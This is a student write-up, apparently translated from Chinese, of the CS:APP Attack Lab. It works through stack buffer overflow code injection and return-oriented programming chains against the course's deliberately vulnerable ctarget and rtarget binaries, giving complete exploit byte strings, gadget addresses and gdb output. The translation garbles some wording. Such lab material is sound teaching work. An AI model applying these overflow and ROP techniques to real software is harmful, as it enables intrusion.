1、 Resource overview
Download the compressed package Target1 from the website and unzip it to include the following files:
– README.txt : introduction of each file in the folder.
– ctarget and rtarget: executable files used for attack- cookie.txt : an eight hexadecimal number, some attacks will use.
– farm. C: source code of “gadget farm” used in ROP attack.
– hexraw: a tool for generating attack strings.
2、 Precautions
- to run ctarget and rtarget, the following parameters can be used:
to run ctarget and rtarget
-q: Self study is a required parameter to avoid the program looking for the teacher’s server. -h: List possible command line arguments – I file: read input from a file, not from standard input. Use “/ hexraw” to convert the expand string to bytecode. Reference for usage attack.pdf Appendix A of. In short, the input should be a set of two hexadecimal numbers separated by spaces. For example, hexadecimal 0 should be written as 00, and 0xdeadbeef should be written as “EF be ad de”. The usage of hexraw is as follows:
unix> cat exploit.txt | ./hex2raw | ./ctarget
This experiment can refer to section 3.10.3 and 3.10.4 of CS: app3e. If RET command is used to attack, the address should be one of the following:
0
The address of the function touch1, touch2 or touch3 is used to inject code. When constructing gadgets from rtarget file, the address should be in start_ Farm and end_ Between farms. The vulnerability lies in the getbuf function: it is impossible to know whether the buffer can hold the read string.
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
3、 Part I: code injection attacks
Attack target: when ctarget ctarget runs, the position on the stack is continuous, so the data on the stack is executable.
Phase 1
- task: when ctarget returns from getbuf, execute the code of touch1 instead of returning to test. Suggestions:
Only disassembly code is required for the required information. You can use objdump – D to pay attention to the byte order, use GDB, and debug in the last few steps of getbuf to confirm that the position of buf in the stack frame depends on the constant buffer at compile time_ Size, and the allocation strategy used by GCC. The position of buf needs to be determined according to the disassembly code. View getbuf
gdb-peda$ disas getbuf
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>: sub rsp,0x28
0x00000000004017ac <+4>: mov rdi,rsp
0x00000000004017af <+7>: call 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov eax,0x1
0x00000000004017b9 <+17>: add rsp,0x28
0x00000000004017bd <+21>: ret
End of assembler dump.
It is easy to find that the buffer size of buf is 0x28, so after filling 40 double words, the written address can cover the return address ret. Remember to make up the 0 after the address.
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
c0 17 40 00 00 00 00 00
Phase 1 is OK.
cd@ubuntu :~/pwn/csapp/attackLab$ cat exploit-1.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1! : You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1: PASS:0xffffffff : ctarget:1 :AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA C0 17 40 00 00 00 00 00
Phase 2
- task: when ctarget returns from getbuf, execute the code of touch2 instead of returning to test. And pass the cookie as a parameter to touch2. The code of touch2 is as follows:
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
Suggestions:
The first argument passed to the function is saved in% RDI. The injection code should set the value of the register to a cookie, and then use the RET instruction to jump to touch2. The RET instruction is always used to perform the control transfer of the program. reflection:
The workflow of injecting code is as shown in the above suggestion. First, set the value of% RDI to the value of cookie, and then use the RET instruction to jump to touch2. The question is, how can we do the second step? The function of RET instruction: pop up address a from the stack, and then set PC to a. Usually the book is about how to use call and RET together. Here, you can use the RET function alone to push the address of touch2 into the stack to make it at the top of the stack, and then the RET instruction will transfer the control to touch2. Attention! The return address should be filled with 00 prefix; the address pressed into the stack should have * * a * * 00 prefix, the extra 00 will be mixed into the next instruction, and if there is no 00, the next instruction will be regarded as the address (GCC will handle it well, don’t add or delete it by itself).
48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi */
68 ec 17 40 00 /* pushq $0x4017ec */
c3 /* retq */
00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* old %rsp */
Phase 2 passed.
cd@ubuntu :~/pwn/csapp/attackLab$ ./hex2raw < exploit-2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2! : You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1: PASS:0xffffffff : ctarget:2 :48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
Phase 3
- task: phase 3 also needs to pass cookie as a parameter to touch3. But you need to pass the cookie as a string. Touch3 Code:
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
/* cookie is trasfered from unsigned to string */
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
Suggestions:
1
You need to convert the cookie to a string representation. 8-digit hexadecimal Cookie – & gt; 8 hexadecimal digits. Note that the string ends with byte 0! The injection code should set% RDI to the address of the string. When calling hexmatch and strncmp, it will push the data onto the stack, so it will cover part of the memory in the buffer used by getbuf. Therefore, choose carefully where to put the cookie. Thinking: to pass the cookie string as a parameter to touch3. Then you need to find a location in the stack to save the cookie string. Modify the expand of phase 2, first put the cookie in the position of 0x5561dca8.
48 c7 c7 88 dc 61 55 /* mov $0x5561dca8,%rdi */
68 fa 18 40 00 /* pushq $0x4018fa */
c3 /* retq */
00 00 00
35 39 62 39 39 37 66 61 /* $0x59b997fa, cookie */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* %rsp */
At the & lt; + 17 & gt; and & lt; + 28 & gt; breakpoints of touch3, compare the changes of memory on the stack before and after calling hexmatch.
gdb-peda$ disas touch3
Dump of assembler code for function touch3:
0x00000000004018fa <+0>: push rbx
0x00000000004018fb <+1>: mov rbx,rdi
0x00000000004018fe <+4>: mov DWORD PTR [rip+0x202bd4],0x3 # 0x6044dc <vlevel>
0x0000000000401908 <+14>: mov rsi,rdi
0x000000000040190b <+17>: mov edi,DWORD PTR [rip+0x202bd3] # 0x6044e4 <cookie>
0x0000000000401911 <+23>: call 0x40184c <hexmatch>
0x0000000000401916 <+28>: test eax,eax
0x0000000000401918 <+30>: je 0x40193d <touch3+67>
0x000000000040191a <+32>: mov rdx,rbx
......
End of assembler dump.
≪ + 17 & gt;, where 0x5561dc78 ~ 0x5561dc9f are buffers with a size of 40 bytes. You can see that the memory of 0x5561dca0 is no longer the content written by expand, because touch3 has the operation of push RBX.
gdb-peda$ x /56b 0x5561dc78
0x5561dc78: 0x48 0xc7 0xc7 0x88 0xdc 0x61 0x55 0x68
0x5561dc80: 0xfa 0x18 0x40 0x00 0xc3 0x00 0x00 0x00
0x5561dc88: 0x35 0x39 0x62 0x39 0x39 0x37 0x66 0x61
0x5561dc90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dc98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dca0: 0x00 0x60 0x58 0x55 0x00 0x00 0x00 0x00
0x5561dca8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
≪ + 28 & gt;, where 0x5561dc78 ~ 0x5561dca0 are buffers. At this time, the content of the original buffer is basically different from the content written by expand.
gdb-peda$ x /56b 0x5561dc78
0x5561dc78: 0x00 0xcc 0xb4 0x4a 0x28 0xa7 0xa4 0xb5
0x5561dc80: 0x88 0xdc 0x61 0x55 0x00 0x00 0x00 0x00
0x5561dc88: 0xe8 0x5f 0x68 0x55 0x00 0x00 0x00 0x00
0x5561dc90: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dc98: 0x16 0x19 0x40 0x00 0x00 0x00 0x00 0x00
0x5561dca0: 0x00 0x60 0x58 0x55 0x00 0x00 0x00 0x00
0x5561dca8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
For analysis, because hexmatch, sprintf and strncmp are called many times to press the stack, and the stack address written to the cookie is random, the incoming string cannot be saved in the buffer of getbuf function. The possible way is to save the string in the stack of getbuf’s parent process. As shown in exploit-3. exploit-3
48 c7 c7 a8 dc 61 55 /* mov $0x5561dca8,%rdi */
68 fa 18 40 00 /* pushq $0x4018fa */
c3 /* retq */
00 00 00
FA 97 B9 59 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* %rsp */
35 39 62 39 39 37 66 61 00 /* cookie, at $0x5561dca8 */
Phase 3 passed successfully.
sh
gdb-peda$ c
Continuing.
Type string:Touch3! : You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1: PASS:0xffffffff : ctarget:3 :48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 FA 97 B9 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
4、 Part II: return oriented programming
In short, Part II is the same target as phase 2 and phase 3, but it needs to use ROP attack. Each gadget can implement a small step to complete the operation on the register, then RET, and then execute the next gadget. A series of executed gadgets form a chain to achieve our goal.
readme.pdf This paper gives byte encodings of instructions. When doing the questions, we can find out whether there are matching gadgets in the gadgets farm.
Rtarget uses two techniques to prevent code injection attacks
- stack address randomization stack is not executable
- ROP can form a chain of gadgets. Through the RET instruction at the end of each gadget, the program can jump to the beginning of the next gadget. The gadgets farm in rtarget is created by start_ Farm and end_ Farm, do not try to build gadgets from other parts of the program.
Suggestions of movqpopqretnop:
1
Delimitation area: from start_ Farm to mid_ Farm this attack can only use two gadgets. When a gadget uses the POPQ instruction, it will pop data from the stack. Therefore, the expand string should contain the widget address and data.
Phase 4
- thinking:
first pass the cookie into% RDI, and then go to the touch2 function. according to readme.pdf POPQ% RDI is not found in gadets farm. So we can first POPQ% rax, then movq% rax, and% rdiexploit-4
here, the buffer is completely filled with junk, and then execute downward from RET of getbuf. Two gadgets are used, and the data used is also put on the stack.
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
cc 19 40 00 00 00 00 00 /* jump 0x4019cc; popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie */
c5 19 40 00 00 00 00 00 /* jump 0x4019c5; movq %rax, %rdi */
ec 17 40 00 00 00 00 00 /* touch2 */
Through phase 4
gdb-peda$ r -q < ./exploit-4-raw.txt
Starting program: /mnt/hgfs/pwn/csapp/attackLab/rtarget -q < ./exploit-4-raw.txt
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
Phase 5
- thinking: just like phase 5, we need to consider how to store the cookie string, and we need to solve the problem of passing the string address to% RDI. First of all, the buffer of getbuf should all be filled with junk, so the cookie string must be placed at the end of the exploit in order not to interfere with the normal operation of the exploit. Second, at the beginning, we found many operations in the gadgets farm as follows:
mov $0x909078fb,%eax
lea -0x3c3876b8(%rdi),%eax
movl $0xc7c78948,(%rdi)
......
So I thought about using these values to piece together an address and put the cookie string there. But because of stack randomization, this idea is not good. Later, after reading some answers, I found that there was a magic operation like movq% RSP% rax, so that I could get the address of the cookie string in the way of (% RSP) + X. Then it’s a patchwork, using eight gadgets to complete the expand. Exploit-5
for this kind of exploit, which needs a lot of gadgets to complete, I think the idea must be the most important, but after the idea is clear, when composing the chain of gadgets, you might as well use the reverse order search method, which may be faster. Of course, we will definitely use some tools to find gadgets in the future.
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
06 1a 40 00 00 00 00 00 /* jump 0x401a06 ;movq %rsp, %rax */
c5 19 40 00 00 00 00 00 /* jump 0x4019c5 ;movq %rax, %rdi */
ab 19 40 00 00 00 00 00 /* jump 0x4019ab ;popq %rax */
48 00 00 00 00 00 00 00 /* distance from here to cookie string */
dd 19 40 00 00 00 00 00 /* jump 0x4019dd ;movl %eax, %edx */
34 1a 40 00 00 00 00 00 /* jump 0x401a34 ;movl %edx, %ecx */
13 1a 40 00 00 00 00 00 /* jump 0x401a13 ;movl %ecx, %esi */
d6 19 40 00 00 00 00 00 /* jump 0x4019d6 ;lea (%rdi,%rsi,1),%rax */
c5 19 40 00 00 00 00 00 /* jump 0x4019c5 ;movq %rax, %rdi */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 /* cookie string */
00 00 00 00 00 00 00 00 /* string ends with 00 */
Through phase 5
GDB PEDA $
continuing.
type string:Touch3! : You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1: PASS:0xffffffff : rtarget:3 :AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00
5、 References
- CS: app supporting Experiment 3: attack lab notes [Reading thick CSAPP] III GDB quick guide of attack labbeej